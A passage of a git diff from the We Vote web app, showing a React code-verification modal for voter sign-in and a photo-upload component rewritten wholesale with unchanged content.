+ // console.log('voterVerifySecretCode local function, voterPhoneNumber:', voterPhoneNumber);
+ const secretCode = `${digit1}${digit2}${digit3}${digit4}${digit5}${digit6}`;
+ const codeSentToSMSPhoneNumber = !!voterPhoneNumber;
+ if (!voterVerifySecretCodeSubmitted) {
+ VoterActions.voterVerifySecretCode(secretCode, codeSentToSMSPhoneNumber);
+ this.setState({ voterVerifySecretCodeSubmitted: true });
+ }
+ };
+
+ closeSignInModalLocal = () => {
+ // console.log('voterVerifySecretCode this.props.closeVerifyModal:', this.props.closeVerifyModal);
+ if (this.props.closeSignInModal) {
+ this.props.closeSignInModal();
+ } else if (this.props.closeVerifyModal) {
+ // WV-4229: Some entry points (WelcomeForVoters, CompleteYourProfile, SetUpAccountEditName)
+ // only pass closeVerifyModal, not closeSignInModal. Without this fallback, a successful
+ // code verification leaves the modal stuck on "Verifying...".
+ this.props.closeVerifyModal();
+ }
+ };
+
+ closeVerifyModalLocal = () => {
+ // console.log('voterVerifySecretCode this.props.closeVerifyModal:', this.props.closeVerifyModal);
+ this.setState({ cancelingVerifyModal: true });
+ if (this.props.closeVerifyModal) {
+ this.props.closeVerifyModal();
+ }
+ };
+
+ pushDataLayer = (landing, buttonId, actionType) => {
+ const dataLayerObject = {
+ actionDetails: {
+ actionType,
+ ...(buttonId && { buttonId }),
+ },
+ event: landing ? 'landing' : 'click',
+ verifyDetails: {
+ verifyMethod: this.voterPhoneNumber ? 'SMS' : 'email',
+ },
+ pageDetails: getPageDetails(),
+ userDetails: VoterStore.getAnalyticsUserDetails(),
+ };
+ TagManager.dataLayer({ dataLayer: dataLayerObject });
+ };
+
+ render () {
+ renderLog('SettingsVerifySecretCode'); // Set LOG_RENDER_EVENTS to log all renders
+ // console.log('SettingsVerifySecretCode render');
+ const { classes } = this.props;
+ const {
+ condensed, errorMessageToDisplay, errorToDisplay,
+ voterEmailAddress, voterMustRequestNewCode, voterPhoneNumber, voterSecretCodeRequestsLocked,
+ voterVerifySecretCodeSubmitted,
+ } = this.state;
+
+ if (!voterEmailAddress && !voterPhoneNumber) {
+ // We get a weird extra ghost version of SettingsVerifySecretCode, and this is how we block it.
+ return null;
+ }
+
+ let sentTo = voterPhoneNumber || voterEmailAddress;
+ // Parambatur.Narayanasami@wevoteeducation.org 6/25/25: Long names were making the dialog horizont123ally scrollable
+ if (voterEmailAddress && voterEmailAddress.length > 25) {
+ const pieces = voterEmailAddress.split('@');
+ sentTo = `${pieces[0]}@\n${pieces[1]}`;
+ }
+
+ return (
+
+
+ {isWebApp() && (
+ {
+ const buttonId = e.target.id;
+ this.closeVerifyModalLocal();
+ this.pushDataLayer(false, buttonId, 'navigate');
+ }}
+ >
+ {isIOS() ?
+ )}
+
+
+
+ Code Verification
+ A 6-digit code has been sent to
+ {sentTo}
+
+ {(voterEmailAddress) ? (
+ If you haven't received the code in 30 seconds, please check your spam folder and mark the email as 'Not Spam'.
+ ) : (
+ <>
+ {(voterPhoneNumber) && (
+ If you haven't received the code within 30 seconds, please verify the number you entered.
+ )}
+
+ )}
+
+ this.onPaste}
+ type="tel"
+ value={this.state.digit1}
+ autoFocus
+ />
+ this.onPaste}
+ onKeyDown={this.handleKeyDown2}
+ type="tel"
+ value={this.state.digit2}
+ />
+ this.onPaste}
+ onKeyDown={this.handleKeyDown3}
+ type="tel"
+ value={this.state.digit3}
+ />
+ this.onPaste}
+ onKeyDown={this.handleKeyDown4}
+ type="tel"
+ value={this.state.digit4}
+ />
+ this.onPaste}
+ onKeyDown={this.handleKeyDown5}
+ type="tel"
+ value={this.state.digit5}
+ />
+ this.onPaste}
+ onKeyDown={this.handleKeyDown6}
+ type="tel"
+ value={this.state.digit6}
+ />
+
+ {errorToDisplay && (
+ {errorMessageToDisplay}
+ )}
+
+
+ {
+ const buttonId = e.target.id;
+ this.voterVerifySecretCode();
+ this.pushDataLayer(false, buttonId, 'navigate');
+ }}
+ variant="contained"
+ >
+ {voterVerifySecretCodeSubmitted ? 'Verifying...' : 'Verify'}
+
+ {/* We will make this button work later
+
+ Resend SMS
+
+ */}
+ {
+ const buttonId = e.target.id;
+ this.closeVerifyModalLocal();
+ this.pushDataLayer(false, buttonId, 'navigate');
+ }}
+ variant={voterMustRequestNewCode ? 'contained' : 'outlined'}
+ >
+ {voterPhoneNumber ? 'Try a different number' : 'Try a different email'}
+
+
+
+
+ );
+ }
+}
+SettingsVerifySecretCode.propTypes = {
+ classes: PropTypes.object,
+ show: PropTypes.bool,
+ closeSignInModal: PropTypes.func,
+ closeVerifyModal: PropTypes.func,
+ voterEmailAddress: PropTypes.string,
+ voterPhoneNumber: PropTypes.string,
+};
+
+const styles = (theme) => ({
+ dialogPaper: {
+ marginTop: hasCordovaNotch() ? 68 : 48,
+ [theme.breakpoints.up('sm')]: {
+ maxWidth: '720px',
+ width: '85%',
+ minHeight: '90%',
+ maxHeight: '90%',
+ height: '90%',
+ margin: '0 auto',
+ },
+ [theme.breakpoints.down('sm')]: {
+ minWidth: '95%',
+ maxWidth: '95%',
+ width: '95%',
+ minHeight: '90%',
+ maxHeight: '90%',
+ height: '90%',
+ margin: '0 auto',
+ },
+ },
+ dialogRoot: {
+ zIndex: '9030 !important',
+ },
+ codeVerifyCordova: {
+ // top: '9%', Removed 12/13/23 to reduce vertical vibration on digit entry field advance
+ bottom: 'unset',
+ height: 'unset',
+ minHeight: 'unset',
+ margin: '5px',
+ },
+ inputBase: {
+ alignContent: 'center',
+ display: 'flex',
+ // flex: '0 0 1',
+ justifyContent: 'center',
+ margin: '0 4px',
+ // maintain aspect ratio
+ width: '10vw',
+ height: '10vw',
+ maxWidth: 53,
+ maxHeight: 53,
+ fontSize: 22,
+ '@media(min-width: 569px)': {
+ margin: '0 8px',
+ fontSize: 35,
+ },
+ '&:first-child': {
+ marginLeft: 0,
+ },
+ '&:last-child': {
+ marginRight: 0,
+ },
+ background: '#f7f7f7',
+ },
+ input: {
+ textAlign: 'center',
+ padding: '8px 0',
+
+ },
+ button: {
+ width: '100%',
+ border: '1px solid #ddd',
+ fontWeight: 'bold',
+ margin: '6px 0',
+ },
+ verifyButton: {
+ margin: '6px 0',
+ },
+});
+
+const ModalTitleArea = styled('div', {
+ shouldForwardProp: (prop) => !['condensed'].includes(prop),
+})(({ condensed }) => (`
+ width: 100%;
+ padding: ${condensed ? '8px' : '12px'};
+ box-shadow: 0 20px 40px -25px #999;
+ z-index: 999;
+ display: flex;
+ justify-content: flex-start;
+ position: absolute;
+ top: 0;
+`));
+
+const ModalContent = styled('div', {
+ shouldForwardProp: (prop) => !['condensed'].includes(prop),
+})(({ condensed }) => (`
+ display: flex;
+ flex-direction: column;
+ align-items: ${condensed ? 'flex-start' : 'space-evenly'};
+ height: ${isWebApp() ? '100%' : 'unset'};
+ width: 80%;
+ max-width: 400px;
+ margin: 0 auto;
+ padding: ${condensed ? '66px 0 0 0' : '86px 0 72px 0'};
+`));
+
+const TextContainer = styled('div')`
+`;
+
+const ButtonsContainer = styled('div', {
+ shouldForwardProp: (prop) => !['condensed'].includes(prop),
+})(({ condensed }) => (`
+ margin-top: ${condensed ? '16px' : 'auto'};
+`));
+
+const Title = styled('h3', {
+ shouldForwardProp: (prop) => !['condensed'].includes(prop),
+})(({ condensed }) => (`
+ font-weight: bold;
+ font-size: ${() => (isIPhone4in() ? '26px' : '30px')};
+ padding: 0 10px;
+ margin-bottom: ${condensed ? '16px' : '36px'};
+ color: black;
+ text-align: center;
+ @media(min-width: 569px) {
+ font-size: 36px;
+ }
+`));
+
+const Subtitle = styled('h4')`
+ color: #424242;
+ text-align: center;
+`;
+
+const PhoneSubtitle = styled('h4')`
+ color: black;
+ font-weight: bold;
+ text-align: center;
+`;
+
+const InputContainer = styled('div', {
+ shouldForwardProp: (prop) => !['condensed'].includes(prop),
+})(({ condensed }) => (`
+ display: flex;
+ justify-content: space-between;
+ margin: auto;
+ width: 100%;
+ margin-top: ${condensed ? '16px' : '32px'};
+`));
+
+const ErrorMessage = styled('div')`
+ color: red;
+ margin: 12px 0;
+ text-align: center;
+ font-size: 14px;
+`;
+
+export default withTheme(withStyles(styles)(SettingsVerifySecretCode));
+
diff --git a/src/js/common/components/Settings/VoterPhotoUpload.jsx b/src/js/common/components/Settings/VoterPhotoUpload.jsx
index af19e46059..3a5f7d2097 100644
--- a/src/js/common/components/Settings/VoterPhotoUpload.jsx
+++ b/src/js/common/components/Settings/VoterPhotoUpload.jsx
@@ -1,463 +1,463 @@
-import { AccountCircle } from '@mui/icons-material';
-import withStyles from '@mui/styles/withStyles';
-import { heicTo, isHeic } from 'heic-to';
-// eslint-disable-next-line import/no-extraneous-dependencies
-import { getPNGfromFile } from 'tiff-to-png-client';
-import { DropzoneArea } from 'mui-file-dropzone';
-import PropTypes from 'prop-types';
-import React, { Component } from 'react';
-import styled from 'styled-components';
-import TagManager from 'react-gtm-module';
-import PoliticianActions from '../../actions/PoliticianActions';
-import PoliticianStore from '../../stores/PoliticianStore';
-import VoterActions from '../../../actions/VoterActions';
-import VoterStore from '../../../stores/VoterStore';
-import { isCordova } from '../../utils/isCordovaOrWebApp';
-import isMobileScreenSize from '../../utils/isMobileScreenSize';
-import { renderLog } from '../../utils/logging';
-import { getPageDetails } from '../../../utils/lookupPageNameAndPageTypeDict';
-
-class VoterPhotoUpload extends Component {
- constructor (props) {
- super(props);
- this.state = {
- isWebApp: !isCordova(),
- showDropzoneIcon: true,
- politicianProfileUploadedImageUrlLarge: '',
- voterProfileUploadedImageUrlLarge: '',
- };
- this.canvas = null;
- this.handleWebAppDrop = this.handleWebAppDrop.bind(this);
- this.handleCordovaDrop = this.handleCordovaDrop.bind(this);
- }
-
- componentDidMount () {
- const { politicianWeVoteId } = this.props;
- this.politicianStoreListener = PoliticianStore.addListener(this.onPoliticianStoreChange.bind(this));
- this.onPoliticianStoreChange();
- this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
- this.onVoterStoreChange();
- if (!this.canvas) {
- this.canvas = document.createElement('canvas');
- }
-
- let politicianProfileUploadedImageUrlLarge;
- let voterProfileUploadedImageUrlLarge;
- if (politicianWeVoteId) {
- politicianProfileUploadedImageUrlLarge = PoliticianStore.getPoliticianProfileUploadedImageUrlLarge(politicianWeVoteId);
- } else {
- voterProfileUploadedImageUrlLarge = VoterStore.getVoterProfileUploadedImageUrlLarge();
- }
- let dropzoneText = isMobileScreenSize() ? 'Upload profile photo' : 'Drag your profile photo here (or click to find file)';
- let showDropzoneIcon = true;
- const uploadedImagePresent = (!politicianWeVoteId && voterProfileUploadedImageUrlLarge) || (politicianWeVoteId && politicianProfileUploadedImageUrlLarge);
- if (uploadedImagePresent) {
- dropzoneText = isMobileScreenSize() ? 'Upload new photo' : 'Drag new profile photo here (or click to find file)';
- showDropzoneIcon = false;
- }
- this.setState({
- dropzoneText,
- showDropzoneIcon,
- });
- }
-
- componentWillUnmount () {
- // console.log('VoterPhotoUpload componentWillUnmount');
- this.politicianStoreListener.remove();
- this.voterStoreListener.remove();
- }
-
- async handleWebAppDrop (files) {
- const { politicianWeVoteId } = this.props;
- const { politicianProfileUploadedImageUrlLarge, voterProfileUploadedImageUrlLarge } = this.state;
- if (files && files[0]) {
- let dataUrl = '';
- let fileFromDropzone = files[0];
- if (!fileFromDropzone) return;
- if (await isHeic(fileFromDropzone)) {
- const convertedBlob = await heicTo({
- blob: fileFromDropzone,
- type: 'image/jpeg',
- quality: 0.5,
- });
- fileFromDropzone = convertedBlob;
- dataUrl = await this.readFileAsDataUrl(fileFromDropzone);
- await this.preparePhotoForUpload(dataUrl);
- } else if (fileFromDropzone.type === 'image/svg+xml') {
- dataUrl = await this.convertImageToAcceptedFormat();
- await this.preparePhotoForUpload(dataUrl);
- } else if (fileFromDropzone.type === 'image/tiff') {
- [dataUrl] = await getPNGfromFile(fileFromDropzone);
- await this.preparePhotoForUpload(dataUrl);
- } else {
- dataUrl = await this.readFileAsDataUrl(fileFromDropzone);
- await this.preparePhotoForUpload(dataUrl);
- }
- const dropzoneText = isMobileScreenSize() ? 'A small preview of your photo is shown below. You can: 1) Click button below to continue, or 2) click here to upload different photo.' : 'A small preview of your photo is shown below. You can: 1) click button below to continue, 2) delete it (hover over photo to see trash can), or 3) drag a NEW version here (or click here to find file).';
- this.setState({
- dropzoneText,
- showDropzoneIcon: false,
- });
- } else {
- let dropzoneText = isMobileScreenSize() ? 'Upload profile photo' : 'Drag your profile photo here (or click to find file)';
- let showDropzoneIcon = true;
- const uploadedImagePresent = (!politicianWeVoteId && voterProfileUploadedImageUrlLarge) || (politicianWeVoteId && politicianProfileUploadedImageUrlLarge);
- if (uploadedImagePresent) {
- dropzoneText = isMobileScreenSize() ? 'Upload new photo' : 'Drag new profile photo here (or click to find file)';
- showDropzoneIcon = false;
- }
- this.setState({
- dropzoneText,
- showDropzoneIcon,
- });
- }
- }
-
- handleCordovaDrop (event) {
- // console.log('handleCordovaDrop event:', event);
- const { camera: { getPicture, DestinationType: { FILE_URI }, PictureSourceType: { PHOTOLIBRARY }, PopoverArrowDirection: { ARROW_ANY } } } = navigator;
- const { CameraPopoverOptions } = window;
- getPicture(async (pictureUrl) => {
- await this.cameraCallback(pictureUrl);
- }, (err) => console.log(err), {
- destinationType: FILE_URI,
- sourceType: PHOTOLIBRARY,
- popoverOptions: new CameraPopoverOptions(300, 300, 100, 100, ARROW_ANY, 300, 600),
- });
- }
-
- onPoliticianStoreChange () {
- const { politicianWeVoteId } = this.props;
- if (politicianWeVoteId) {
- const { politicianProfileUploadedImageUrlLarge: politicianProfileUploadedImageUrlLargePrior } = this.state;
- const politicianProfileUploadedImageUrlLarge = PoliticianStore.getPoliticianProfileUploadedImageUrlLarge(politicianWeVoteId);
- // console.log('onPoliticianStoreChange, politicianProfileUploadedImageUrlLarge:', politicianProfileUploadedImageUrlLarge, ', politicianProfileUploadedImageUrlLargePrior:', politicianProfileUploadedImageUrlLargePrior);
- if (politicianProfileUploadedImageUrlLarge !== politicianProfileUploadedImageUrlLargePrior) {
- this.setState({
- politicianProfileUploadedImageUrlLarge,
- });
- // Clear the substitute image
- if (politicianProfileUploadedImageUrlLarge && politicianProfileUploadedImageUrlLarge.length > 0) {
- const thumbnail = document.getElementById('cordova');
- if (thumbnail) {
- thumbnail.style.display = 'none';
- thumbnail.src = '';
- }
- }
- }
- }
- }
-
- onVoterStoreChange () {
- const { politicianWeVoteId } = this.props;
- if (!politicianWeVoteId) {
- const voterProfileUploadedImageUrlLarge = VoterStore.getVoterProfileUploadedImageUrlLarge();
- // console.log('onVoterStoreChange, voterProfileUploadedImageUrlLarge:', voterProfileUploadedImageUrlLarge);
- this.setState({
- voterProfileUploadedImageUrlLarge,
- });
- // Clear the substitute image
- if (voterProfileUploadedImageUrlLarge && voterProfileUploadedImageUrlLarge.length > 0) {
- const thumbnail = document.getElementById('cordova');
- if (thumbnail) {
- thumbnail.style.display = 'none';
- thumbnail.src = '';
- }
- }
- }
- }
-
- convertImageToAcceptedFormat = async (type = 'image/png') => {
- // If the given type is not supported, convert the image to a PNG
- const img = document.querySelector('img[role="presentation"]');
- await img.decode();
- const w = img.width;
- const h = img.height;
- this.canvas.width = w;
- this.canvas.height = h;
- const ctx = this.canvas.getContext('2d');
- ctx.drawImage(img, 0, 0, w, h);
- const dataUrl = this.canvas.toDataURL(type);
- ctx.clearRect(0, 0, w, h);
- return dataUrl;
- };
-
- clearThumbnail = () => {
- const thumbnail = document.querySelector('img#cordova');
- if (thumbnail) {
- thumbnail.style.display = 'none';
- thumbnail.src = '';
- }
- const cordovaDropZone = document.querySelector('#cordovaDropZoneReplica');
- if(cordovaDropZone) {
- cordovaDropZone.style.display = 'inline-block';
- }
- };
-
- preparePhotoForUpload = async (url) => {
- let dataUrl;
- const isDataUrl = url.startsWith('data:');
- if (!isDataUrl) {
- const res = await fetch(url);
- const blob = await res.blob();
- dataUrl = await this.readFileAsDataUrl(blob);
- } else {
- dataUrl = url;
- }
- let thumbnail;
- const cordovaDropZone = document.querySelector('#cordovaDropZoneReplica');
- const { isWebApp } = this.state;
- if (isWebApp) {
- thumbnail = document.querySelector('img[role="presentation"]');
- } else {
- thumbnail = document.querySelector('img#cordova');
- }
- if (thumbnail) {
- thumbnail.style.display = 'inline';
- thumbnail.src = dataUrl;
- // console.log('preparePhotoForUpload cordovaDropZone display none', dataUrl);
- cordovaDropZone.style.display = 'none';
- }
- const { politicianWeVoteId, onUpload } = this.props;
- if (politicianWeVoteId) {
- PoliticianActions.politicianPhotoQueuedToSave(dataUrl);
- } else {
- VoterActions.voterPhotoQueuedToSave(dataUrl);
- }
- if (onUpload) {
- onUpload(dataUrl);
- }
- };
-
- deleteYourPhoto = (buttonId) => {
- const { politicianWeVoteId } = this.props;
- if (politicianWeVoteId) {
- PoliticianActions.politicianPhotoDelete(politicianWeVoteId);
- PoliticianActions.politicianPhotoQueuedToSave(undefined);
- } else {
- VoterActions.voterPhotoDelete();
- VoterActions.voterPhotoQueuedToSave(undefined);
- }
- // Adding event data to dataLayer for Google Tag Manager
- const dataLayerObject = {
- event: 'action',
- actionDetails: {
- actionType: 'delete',
- buttonId,
- },
- userDetails: VoterStore.getAnalyticsUserDetails(),
- pageDetails: getPageDetails(),
- };
- TagManager.dataLayer({ dataLayer: dataLayerObject });
- this.setState({
- politicianProfileUploadedImageUrlLarge: '',
- voterProfileUploadedImageUrlLarge: '',
- })
- this.clearThumbnail();
- };
-
- readFileAsDataUrl = (file) => {
- const promise = new Promise((resolve, reject) => {
- const reader = new FileReader();
- reader.onload = () => resolve(reader.result);
- reader.onerror = (error) => reject(error);
- reader.readAsDataURL(file);
- });
- return promise;
- };
-
- async cameraCallback (uri) {
- const { resolveLocalFileSystemURL } = window;
- resolveLocalFileSystemURL(uri, async (fileEntry) => {
- const entryUrl = fileEntry.toURL();
- await this.preparePhotoForUpload(entryUrl);
- }, (err) => {
- console.log('cameraCallback', err.message);
- console.error('camera resolveLocalFileSystemURL error', err);
- })
- }
-
- render () {
- renderLog('VoterPhotoUpload'); // Set LOG_RENDER_EVENTS to log all renders
-
- const { classes, limitPhotoHeight, maxWidth, politicianWeVoteId } = this.props;
- const {
- dropzoneText, isWebApp, politicianProfileUploadedImageUrlLarge, showDropzoneIcon,
- voterProfileUploadedImageUrlLarge,
- } = this.state;
- let imageToDisplay = '';
- let initialFiles;
- if (politicianWeVoteId) {
- imageToDisplay = politicianProfileUploadedImageUrlLarge;
- if (politicianProfileUploadedImageUrlLarge && politicianProfileUploadedImageUrlLarge.length > 0) {
- initialFiles = [politicianProfileUploadedImageUrlLarge];
- }
- } else {
- imageToDisplay = voterProfileUploadedImageUrlLarge;
- if (voterProfileUploadedImageUrlLarge && voterProfileUploadedImageUrlLarge.length > 0) {
- initialFiles = [voterProfileUploadedImageUrlLarge];
- }
- }
-
- return (
-
-
-
- );
- }
-}
-VoterPhotoUpload.propTypes = {
- classes: PropTypes.object,
- limitPhotoHeight: PropTypes.bool,
- maxWidth: PropTypes.number,
- onUpload: PropTypes.func,
- politicianWeVoteId: PropTypes.string,
-};
-
-const styles = (theme) => ({
- dropzoneIcon: {
- color: '#999',
- },
- dropzoneIconHidden: {
- display: 'none',
- },
- dropzoneRoot: {
- color: '#999',
- minHeight: '162px',
- [theme.breakpoints.down('sm')]: {
- minHeight: '160px',
- },
- },
- dropzoneText: {
- color: '#818181',
- fontSize: '18px',
- fontFamily: "'Poppins', 'Helvetica Neue Light', 'Helvetica Neue', 'Helvetica', 'Arial', sans-serif",
- fontWeight: '300',
- paddingLeft: 5,
- paddingRight: 5,
- },
-});
-
-const ColumnFullWidthPhotoUpload = styled('div')`
- padding: 8px 12px;
- width: 100%;
-`;
-
-const CordovaDropZoneReplica = styled('div', {
- shouldForwardProp: (prop) => !['show'].includes(prop),
-})(({ show }) => (`
- color: #999;
- position: relative;
- width: 100%;
- min-height: 250px;
- background-color: rgb(255, 255, 255);
- border: dashed rgba(0, 0, 0, 0.12);
- border-radius: 4px;
- box-sizing: border-box;
- cursor: pointer;
- overflow: hidden;
- display: ${show ? 'inline-block' : 'none'};
-`));
-
-
-const DeleteLink = styled('div')`
-`;
-
-const ChooseLink = styled('div')`
- margin: 0 0 20px 18px;
-`;
-
-const OuterWrapperPhotoUpload = styled('div')`
- width: 100%;
-`;
-
-const VoterPhotoImage = styled('img', {
- shouldForwardProp: (prop) => !['maxWidth'].includes(prop),
-})(({ maxWidth }) => (`
- border-radius: 100px;
- max-width: 100px;
- ${maxWidth ? `max-width: ${maxWidth}px;` : 'max-width: 200px;'}
-`));
-
-const VoterPhotoWrapper = styled('div', {
- shouldForwardProp: (prop) => !['limitPhotoHeight'].includes(prop),
-})(({ limitPhotoHeight }) => (`
- align-items: center;
- display: flex;
- flex-direction: column;
- ${limitPhotoHeight ? 'height: 130px;' : ''}
- justify-content: flex-end;
- margin-bottom: 0;
- width: 100%;
-`));
-
-const FormInnerWrapper = styled('div')`
- display: flex;
- justify-content: space-between;
- margin-left: -12px;
- padding: 0 !important;
- width: calc(100% + 24px);
-`;
-
-export default withStyles(styles)(VoterPhotoUpload);
+import { AccountCircle } from '@mui/icons-material';
+import withStyles from '@mui/styles/withStyles';
+import { heicTo, isHeic } from 'heic-to';
+// eslint-disable-next-line import/no-extraneous-dependencies
+import { getPNGfromFile } from 'tiff-to-png-client';
+import { DropzoneArea } from 'mui-file-dropzone';
+import PropTypes from 'prop-types';
+import React, { Component } from 'react';
+import styled from 'styled-components';
+import TagManager from 'react-gtm-module';
+import PoliticianActions from '../../actions/PoliticianActions';
+import PoliticianStore from '../../stores/PoliticianStore';
+import VoterActions from '../../../actions/VoterActions';
+import VoterStore from '../../../stores/VoterStore';
+import { isCordova } from '../../utils/isCordovaOrWebApp';
+import isMobileScreenSize from '../../utils/isMobileScreenSize';
+import { renderLog } from '../../utils/logging';
+import { getPageDetails } from '../../../utils/lookupPageNameAndPageTypeDict';
+
+class VoterPhotoUpload extends Component {
+ constructor (props) {
+ super(props);
+ this.state = {
+ isWebApp: !isCordova(),
+ showDropzoneIcon: true,
+ politicianProfileUploadedImageUrlLarge: '',
+ voterProfileUploadedImageUrlLarge: '',
+ };
+ this.canvas = null;
+ this.handleWebAppDrop = this.handleWebAppDrop.bind(this);
+ this.handleCordovaDrop = this.handleCordovaDrop.bind(this);
+ }
+
+ componentDidMount () {
+ const { politicianWeVoteId } = this.props;
+ this.politicianStoreListener = PoliticianStore.addListener(this.onPoliticianStoreChange.bind(this));
+ this.onPoliticianStoreChange();
+ this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
+ this.onVoterStoreChange();
+ if (!this.canvas) {
+ this.canvas = document.createElement('canvas');
+ }
+
+ let politicianProfileUploadedImageUrlLarge;
+ let voterProfileUploadedImageUrlLarge;
+ if (politicianWeVoteId) {
+ politicianProfileUploadedImageUrlLarge = PoliticianStore.getPoliticianProfileUploadedImageUrlLarge(politicianWeVoteId);
+ } else {
+ voterProfileUploadedImageUrlLarge = VoterStore.getVoterProfileUploadedImageUrlLarge();
+ }
+ let dropzoneText = isMobileScreenSize() ? 'Upload profile photo' : 'Drag your profile photo here (or click to find file)';
+ let showDropzoneIcon = true;
+ const uploadedImagePresent = (!politicianWeVoteId && voterProfileUploadedImageUrlLarge) || (politicianWeVoteId && politicianProfileUploadedImageUrlLarge);
+ if (uploadedImagePresent) {
+ dropzoneText = isMobileScreenSize() ? 'Upload new photo' : 'Drag new profile photo here (or click to find file)';
+ showDropzoneIcon = false;
+ }
+ this.setState({
+ dropzoneText,
+ showDropzoneIcon,
+ });
+ }
+
+ componentWillUnmount () {
+ // console.log('VoterPhotoUpload componentWillUnmount');
+ this.politicianStoreListener.remove();
+ this.voterStoreListener.remove();
+ }
+
+ async handleWebAppDrop (files) {
+ const { politicianWeVoteId } = this.props;
+ const { politicianProfileUploadedImageUrlLarge, voterProfileUploadedImageUrlLarge } = this.state;
+ if (files && files[0]) {
+ let dataUrl = '';
+ let fileFromDropzone = files[0];
+ if (!fileFromDropzone) return;
+ if (await isHeic(fileFromDropzone)) {
+ const convertedBlob = await heicTo({
+ blob: fileFromDropzone,
+ type: 'image/jpeg',
+ quality: 0.5,
+ });
+ fileFromDropzone = convertedBlob;
+ dataUrl = await this.readFileAsDataUrl(fileFromDropzone);
+ await this.preparePhotoForUpload(dataUrl);
+ } else if (fileFromDropzone.type === 'image/svg+xml') {
+ dataUrl = await this.convertImageToAcceptedFormat();
+ await this.preparePhotoForUpload(dataUrl);
+ } else if (fileFromDropzone.type === 'image/tiff') {
+ [dataUrl] = await getPNGfromFile(fileFromDropzone);
+ await this.preparePhotoForUpload(dataUrl);
+ } else {
+ dataUrl = await this.readFileAsDataUrl(fileFromDropzone);
+ await this.preparePhotoForUpload(dataUrl);
+ }
+ const dropzoneText = isMobileScreenSize() ? 'A small preview of your photo is shown below. You can: 1) Click button below to continue, or 2) click here to upload different photo.' : 'A small preview of your photo is shown below. You can: 1) click button below to continue, 2) delete it (hover over photo to see trash can), or 3) drag a NEW version here (or click here to find file).';
+ this.setState({
+ dropzoneText,
+ showDropzoneIcon: false,
+ });
+ } else {
+ let dropzoneText = isMobileScreenSize() ? 'Upload profile photo' : 'Drag your profile photo here (or click to find file)';
+ let showDropzoneIcon = true;
+ const uploadedImagePresent = (!politicianWeVoteId && voterProfileUploadedImageUrlLarge) || (politicianWeVoteId && politicianProfileUploadedImageUrlLarge);
+ if (uploadedImagePresent) {
+ dropzoneText = isMobileScreenSize() ? 'Upload new photo' : 'Drag new profile photo here (or click to find file)';
+ showDropzoneIcon = false;
+ }
+ this.setState({
+ dropzoneText,
+ showDropzoneIcon,
+ });
+ }
+ }
+
+ handleCordovaDrop (event) {
+ // console.log('handleCordovaDrop event:', event);
+ const { camera: { getPicture, DestinationType: { FILE_URI }, PictureSourceType: { PHOTOLIBRARY }, PopoverArrowDirection: { ARROW_ANY } } } = navigator;
+ const { CameraPopoverOptions } = window;
+ getPicture(async (pictureUrl) => {
+ await this.cameraCallback(pictureUrl);
+ }, (err) => console.log(err), {
+ destinationType: FILE_URI,
+ sourceType: PHOTOLIBRARY,
+ popoverOptions: new CameraPopoverOptions(300, 300, 100, 100, ARROW_ANY, 300, 600),
+ });
+ }
+
+ onPoliticianStoreChange () {
+ const { politicianWeVoteId } = this.props;
+ if (politicianWeVoteId) {
+ const { politicianProfileUploadedImageUrlLarge: politicianProfileUploadedImageUrlLargePrior } = this.state;
+ const politicianProfileUploadedImageUrlLarge = PoliticianStore.getPoliticianProfileUploadedImageUrlLarge(politicianWeVoteId);
+ // console.log('onPoliticianStoreChange, politicianProfileUploadedImageUrlLarge:', politicianProfileUploadedImageUrlLarge, ', politicianProfileUploadedImageUrlLargePrior:', politicianProfileUploadedImageUrlLargePrior);
+ if (politicianProfileUploadedImageUrlLarge !== politicianProfileUploadedImageUrlLargePrior) {
+ this.setState({
+ politicianProfileUploadedImageUrlLarge,
+ });
+ // Clear the substitute image
+ if (politicianProfileUploadedImageUrlLarge && politicianProfileUploadedImageUrlLarge.length > 0) {
+ const thumbnail = document.getElementById('cordova');
+ if (thumbnail) {
+ thumbnail.style.display = 'none';
+ thumbnail.src = '';
+ }
+ }
+ }
+ }
+ }
+
+ onVoterStoreChange () {
+ const { politicianWeVoteId } = this.props;
+ if (!politicianWeVoteId) {
+ const voterProfileUploadedImageUrlLarge = VoterStore.getVoterProfileUploadedImageUrlLarge();
+ // console.log('onVoterStoreChange, voterProfileUploadedImageUrlLarge:', voterProfileUploadedImageUrlLarge);
+ this.setState({
+ voterProfileUploadedImageUrlLarge,
+ });
+ // Clear the substitute image
+ if (voterProfileUploadedImageUrlLarge && voterProfileUploadedImageUrlLarge.length > 0) {
+ const thumbnail = document.getElementById('cordova');
+ if (thumbnail) {
+ thumbnail.style.display = 'none';
+ thumbnail.src = '';
+ }
+ }
+ }
+ }
+
+ convertImageToAcceptedFormat = async (type = 'image/png') => {
+ // If the given type is not supported, convert the image to a PNG
+ const img = document.querySelector('img[role="presentation"]');
+ await img.decode();
+ const w = img.width;
+ const h = img.height;
+ this.canvas.width = w;
+ this.canvas.height = h;
+ const ctx = this.canvas.getContext('2d');
+ ctx.drawImage(img, 0, 0, w, h);
+ const dataUrl = this.canvas.toDataURL(type);
+ ctx.clearRect(0, 0, w, h);
+ return dataUrl;
+ };
+
+ clearThumbnail = () => {
+ const thumbnail = document.querySelector('img#cordova');
+ if (thumbnail) {
+ thumbnail.style.display = 'none';
+ thumbnail.src = '';
+ }
+ const cordovaDropZone = document.querySelector('#cordovaDropZoneReplica');
+ if(cordovaDropZone) {
+ cordovaDropZone.style.display = 'inline-block';
+ }
+ };
+
+ preparePhotoForUpload = async (url) => {
+ let dataUrl;
+ const isDataUrl = url.startsWith('data:');
+ if (!isDataUrl) {
+ const res = await fetch(url);
+ const blob = await res.blob();
+ dataUrl = await this.readFileAsDataUrl(blob);
+ } else {
+ dataUrl = url;
+ }
+ let thumbnail;
+ const cordovaDropZone = document.querySelector('#cordovaDropZoneReplica');
+ const { isWebApp } = this.state;
+ if (isWebApp) {
+ thumbnail = document.querySelector('img[role="presentation"]');
+ } else {
+ thumbnail = document.querySelector('img#cordova');
+ }
+ if (thumbnail) {
+ thumbnail.style.display = 'inline';
+ thumbnail.src = dataUrl;
+ // console.log('preparePhotoForUpload cordovaDropZone display none', dataUrl);
+ cordovaDropZone.style.display = 'none';
+ }
+ const { politicianWeVoteId, onUpload } = this.props;
+ if (politicianWeVoteId) {
+ PoliticianActions.politicianPhotoQueuedToSave(dataUrl);
+ } else {
+ VoterActions.voterPhotoQueuedToSave(dataUrl);
+ }
+ if (onUpload) {
+ onUpload(dataUrl);
+ }
+ };
+
+ deleteYourPhoto = (buttonId) => {
